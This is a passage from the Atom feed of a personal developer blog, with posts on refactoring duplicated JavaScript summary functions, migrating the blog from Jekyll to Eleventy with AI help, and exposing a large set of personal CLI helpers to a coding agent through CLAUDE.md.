&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getOrderSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getInvoiceSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff add&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is also where I can remove useless intermediate wrappers, or even change
the input signature or output format of my functions. This means updating the
callers and the tests, which makes this phase the riskiest.&lt;/p&gt;
&lt;p&gt;That is why it comes last: with the code cleaned up and simplified by the
previous phases, heavy refactoring is now possible.&lt;/p&gt;
&lt;h2&gt;The skill&lt;/h2&gt;
&lt;p&gt;I packaged all this in a &lt;a href=&quot;https://github.com/pixelastic/oroshi/tree/main/tools/ai/claude/config/skills/refactor&quot;&gt;&lt;code&gt;/refactor&lt;/code&gt; skill&lt;/a&gt; that I run regularly when I
feel I&#39;ve hit a big enough chunk of code.&lt;/p&gt;
&lt;p&gt;Feel free to use my skill as an inspiration to build yours; mine contains a few
assumptions about how I plan and execute my issues.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating from Jekyll to Eleventy</title>
    <link href="https://blog.pixelastic.com/2026/10/23/migrating-blog-from-jekyll-to-eleventy/"/>
    <updated>2026-10-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2026/10/23/migrating-blog-from-jekyll-to-eleventy</id>
    <content type="html">&lt;p&gt;I started this blog in 2009. At the beginning, I posted a lot, mostly as a way
to document my troubles for others (and for myself). Along the year, I moved
away from writing, not because I had nothing to say anymore, but because I went
more and more into public speaking instead.&lt;/p&gt;
&lt;p&gt;Recently, AI-assisted blog writing made me want to come back to sharing my prose
online, and while I was at it I decided to migrate the stack from Jekyll to
Eleventy, and redesign the blog while I was at it.&lt;/p&gt;
&lt;p&gt;This post is an attempt at documenting that process that took me about 2 days,
where I would have probably spent months on it before.&lt;/p&gt;
&lt;h2&gt;Picking an engine&lt;/h2&gt;
&lt;p&gt;This repo has 320 posts and ran on Jekyll 3.6, with Ruby, Grunt, Bower, Sass,
and even jQuery. I wanted to move to a more modern stack, and the choices I had
in mind were between Hugo, Astro and Eleventy.&lt;/p&gt;
&lt;p&gt;I had already tried Hugo on &lt;code&gt;painting.pixelastic.com&lt;/code&gt;, and now I wanted to
compare with something else. Hugo is really as fast as people say, but I don&#39;t
know how to write good Go, and I wanted to test a JavaScript contender, where I
have more experience.&lt;/p&gt;
&lt;p&gt;I decided to not try Astro this time mostly because I had wanted to try Eleventy
for a long long long time. The fact that it&#39;s still relevant today, is a sure
sign it&#39;s a solid stack. Next time I need to migrate a static website I&#39;ll try
Astro, I promise.&lt;/p&gt;
&lt;h2&gt;Part 1: migrating the code&lt;/h2&gt;
&lt;p&gt;Here I called my custom &lt;code&gt;/plan&lt;/code&gt; skill, which has the agent write a PRD and split
it into 9 individual issues covering the skeleton, content migration, tags,
archives, feeds, tests, the Tailwind layout, and various cleanups.&lt;/p&gt;
&lt;p&gt;I kept the redesign out of scope here (see part 2), the goal was to have the
default Eleventy layout, but with all my content.&lt;/p&gt;
&lt;p&gt;Thoughout the migration, it also fixed some inconsistency I had in my posts: mix
of Windows/Linux line ending, mixed case tag collision, and even duplicated
posts at various dates.&lt;/p&gt;
&lt;p&gt;Once done, no more Ruby in the codebase, only JS. Note that I didn&#39;t review the
code there; my goal was having something that worked, so I could keep posting. I
told myself I would review the code later.&lt;/p&gt;
&lt;h2&gt;Part 2: the redesign&lt;/h2&gt;
&lt;p&gt;For the reddesign I first made a &lt;code&gt;/grill-me&lt;/code&gt; session with Claude, starting with
a very vague setup (&amp;quot;&lt;em&gt;I want to redesign my blog into something more modern&lt;/em&gt;&amp;quot;),
then through questions we managed to nail it down more precisely.&lt;/p&gt;
&lt;p&gt;This question/answer loop made it emerge that I wanted something dark-themed,
reminiscent of the time I spend at a terminal, re-using some of the visual
language of a CLI (like the &lt;code&gt;~/pixelastic&lt;/code&gt; header), and using my &lt;strong&gt;real&lt;/strong&gt; neovim
colorscheme.&lt;/p&gt;
&lt;p&gt;Claude then transformed that into a prompt for v0, that I pasted 4 times into 4
different v0 windows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/migrating-blog-from-jekyll-to-eleventy/v0-option-1-mono-titles-ls-posts.png&quot; alt=&quot;Version 1: monospace post titles with underline, a green &amp;quot;$ ls posts/&amp;quot; label and plain-text tags&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/migrating-blog-from-jekyll-to-eleventy/v0-option-2-bold-titles-tag-chips.png&quot; alt=&quot;Version 2: bold post titles and tags as bordered chips, with a prompt arrow next to the site name&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/migrating-blog-from-jekyll-to-eleventy/v0-option-3-command-line-hero.png&quot; alt=&quot;Version 3: a large &amp;quot;Notes from the command line&amp;quot; hero in thin monospace, with a cyan highlight&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/migrating-blog-from-jekyll-to-eleventy/v0-option-4-things-i-learned-hero.png&quot; alt=&quot;Version 4: a large &amp;quot;Things I learned while building&amp;quot; hero in bold sans-serif, with breadcrumbs&quot;&gt;&lt;/p&gt;
&lt;p&gt;This approach worked well for me because I felt I was one of those horrible
customers coming to see a designer with nothing more than &amp;quot;&lt;em&gt;I don&#39;t know what I
want, but I&#39;ll now when I&#39;ll see it&lt;/em&gt;&amp;quot;. Thankfully, the AI doesn&#39;t shy from those
requests, so seeing 4 different iterations made me realize what is important for
me and what I don&#39;t like.&lt;/p&gt;
&lt;p&gt;Out of the 4 versions above, version 2 was the one I liked the most. I then
exported the zip from V0 and told Claude to integrate it into Eleventy.&lt;/p&gt;
&lt;p&gt;From there, I did a lengthy chat with it, telling it one by one everything I
wanted to change, waited for it to change, then move to the next item. Those
were things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;make the main column wider on desktop;&lt;/li&gt;
&lt;li&gt;make sure titles do not overflow that column;&lt;/li&gt;
&lt;li&gt;reuse the colors from my own &lt;code&gt;colors.jsonc&lt;/code&gt; in my dotfiles;&lt;/li&gt;
&lt;li&gt;move some items from the header to the footer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here, I didn&#39;t follow a clear &lt;code&gt;/plan&lt;/code&gt; like in the first part. It really was an
&amp;quot;old-school&amp;quot; prompting session of &amp;quot;do this&amp;quot;, &amp;quot;no, do that instead&amp;quot;, &amp;quot;actually I
liked the first version better&amp;quot;.&lt;/p&gt;
&lt;h2&gt;This is just the beginning&lt;/h2&gt;
&lt;p&gt;Now that the migration is done, I still have some work to do. For example, I
still care about the generated code and I want to review it, to understand how
Eleventy works, and what&#39;s the best way to organize my code in it.&lt;/p&gt;
&lt;p&gt;I will also fix small reading issues here and there, improve the mobile
experience, migrate the site to Netlify, etc.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Making my agent find my own CLI helpers</title>
    <link href="https://blog.pixelastic.com/2026/10/15/making-my-agent-find-my-cli-helpers/"/>
    <updated>2026-10-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2026/10/15/making-my-agent-find-my-cli-helpers</id>
    <content type="html">&lt;p&gt;Over the years, I made myself a long list of CLI helpers. Stuff like
&lt;code&gt;git-worktree-create&lt;/code&gt; or &lt;code&gt;video-volume-increase&lt;/code&gt;. They help me get the info I
want or do the action I need without having to remember the exact underlying
command and args to type.&lt;/p&gt;
&lt;p&gt;But when I ask Claude to create a branch or get me the dimensions of a video, it
would use bare &lt;code&gt;git&lt;/code&gt; or &lt;code&gt;ffmpeg&lt;/code&gt; commands. That inconsistency buggued me at
first but I thought that given the agent was smarter than I was, it didn&#39;t need
an alias, it could just remember the complete and complex command so it didn&#39;t
really matter.&lt;/p&gt;
&lt;h2&gt;Well, it mattered, actually&lt;/h2&gt;
&lt;p&gt;When I ask the agent for a new worktree, what I have in mind is running my
custom &lt;code&gt;git-worktree-create&lt;/code&gt; helper. I packed a lot of complexity away behind
that command:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It stops early when the current directory is not a git repository.&lt;/li&gt;
&lt;li&gt;It starts a new branch.&lt;/li&gt;
&lt;li&gt;It creates the worktree folder in a shared directory, with a naming
convention.&lt;/li&gt;
&lt;li&gt;It handles git submodules.&lt;/li&gt;
&lt;li&gt;It installs dependencies.&lt;/li&gt;
&lt;li&gt;It handles edge cases (invalid chars in branch names, etc.).&lt;/li&gt;
&lt;li&gt;It also takes care of some edge cases or additional tweaks for some specific
repos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This command started as a simple &lt;code&gt;git worktree add /worktree/dir branch-name&lt;/code&gt;
wrapper but grew over time to the complex beast it is today. And its tests grew
with it. That command does exactly what I want it to do, and I have tests to
prove it now. I feel safe using it, knowing it will do exactly what I expect it
to do.&lt;/p&gt;
&lt;h2&gt;Letting the agent know&lt;/h2&gt;
&lt;p&gt;I&#39;d like the agent to use that helper. But the agent doesn&#39;t know about it. It
still thinks &amp;quot;Creating a worktree&amp;quot; is running
&lt;code&gt;git worktree add /worktree/dir branch-name&lt;/code&gt; and that&#39;s it.&lt;/p&gt;
&lt;p&gt;I found myself having to tell it: &amp;quot;Use the &lt;code&gt;git-worktree-create&lt;/code&gt; helper
instead.&amp;quot; often. And I had to do that for all my helpers.&lt;/p&gt;
&lt;p&gt;I started adding lines into my &lt;code&gt;CLAUDE.md&lt;/code&gt; to tell it about my favorite helpers
but I quickly realized it wouldn&#39;t scale with the 1000+ helpers I currently
have.&lt;/p&gt;
&lt;p&gt;What I did instead was writing two &lt;strong&gt;other&lt;/strong&gt; helpers. &lt;code&gt;helper-list&lt;/code&gt; would list
all my helpers and &lt;code&gt;helper-documentation&lt;/code&gt; would explain how to use on.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;helper-list&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;helper-list&lt;/code&gt; takes a query and returns only the helpers that match that query.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/making-my-agent-find-my-cli-helpers/helper-list-git-worktree.png&quot; alt=&quot;A terminal running . It prints about 25 helpers, from  to . Each helper name sits in orange, next to a one-line description in white.&quot;&gt;&lt;/p&gt;
&lt;p&gt;All my helpers follow a consistent naming scheme of
&lt;code&gt;&amp;lt;domain&amp;gt;-&amp;lt;object&amp;gt;-&amp;lt;action&amp;gt;&lt;/code&gt;. For example &lt;code&gt;git-branch-create&lt;/code&gt;,
&lt;code&gt;docker-image-list&lt;/code&gt;, &lt;code&gt;notion-page-read&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;Finding them is a matter of piping &lt;code&gt;find&lt;/code&gt; into &lt;code&gt;fzf&lt;/code&gt; to get some fuzzy-matching
against the query and displaying them. As my helpers have explicit enough names,
the agent can guess which one would be useful to it.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;helper-documentation&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Knowing that a helper exists is only the first step. Now the agent needs to know
how to use it. &lt;code&gt;helper-documentation&lt;/code&gt; takes a helper name as input, and returns
its header documentation comments (including description, usage, etc).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/making-my-agent-find-my-cli-helpers/helper-documentation-git-worktree-create.png&quot; alt=&quot;A terminal running . It prints the helper description, &amp;quot;Create a Worktree for a branch (new or existing) and cd into it&amp;quot;, then a usage line with the example .&quot;&gt;&lt;/p&gt;
&lt;p&gt;By making sure all my helpers are properly documented, documentation usage can
easily be resurfaced to the agent.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;To wrap this all together, here is what I added to my &lt;code&gt;CLAUDE.md&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Prefer dedicated CLI helpers over raw commands.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Examples:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;| Instead of…              | Use…                         |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;|--------------------------|------------------------------|&lt;/span&gt;&lt;/span&gt;
